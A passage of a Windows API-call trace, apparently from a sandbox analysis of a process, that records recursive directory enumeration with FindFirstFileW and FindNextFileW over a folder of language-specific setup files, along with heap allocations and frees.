	[0040.994] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0040.994] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0040.995] FindClose (in: hFindFile=0x742eb0 | out: hFindFile=0x742eb0) returned 1
	[0040.995] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0040.995] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0040.995] FindClose (in: hFindFile=0x742db0 | out: hFindFile=0x742db0) returned 1
	[0040.995] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3b30728 | out: hHeap=0x650000) returned 1
	[0040.996] FindNextFileW (in: hFindFile=0x66a4b0, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0040.996] FindNextFileW (in: hFindFile=0x66a4b0, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0040.996] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x3b30728
	[0040.997] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x742d70
	[0041.238] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0041.373] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0041.373] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.373] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743170
	[0041.374] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.374] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.375] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.375] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.375] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.375] FindClose (in: hFindFile=0x743170 | out: hFindFile=0x743170) returned 1
	[0041.376] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.376] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0041.376] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.376] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742c30
	[0041.377] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.377] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.377] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.377] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.377] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.377] FindClose (in: hFindFile=0x742c30 | out: hFindFile=0x742c30) returned 1
	[0041.378] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.378] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0041.378] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.378] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742f70
	[0041.379] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.379] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.379] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.379] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.379] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.380] FindClose (in: hFindFile=0x742f70 | out: hFindFile=0x742f70) returned 1
	[0041.380] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.380] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0041.380] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.380] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742ef0
	[0041.381] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.381] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.382] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.382] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.382] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.382] FindClose (in: hFindFile=0x742ef0 | out: hFindFile=0x742ef0) returned 1
	[0041.383] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.383] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0041.383] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.383] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743230
	[0041.384] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.384] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.384] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.384] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.384] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.384] FindClose (in: hFindFile=0x743230 | out: hFindFile=0x743230) returned 1
	[0041.385] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
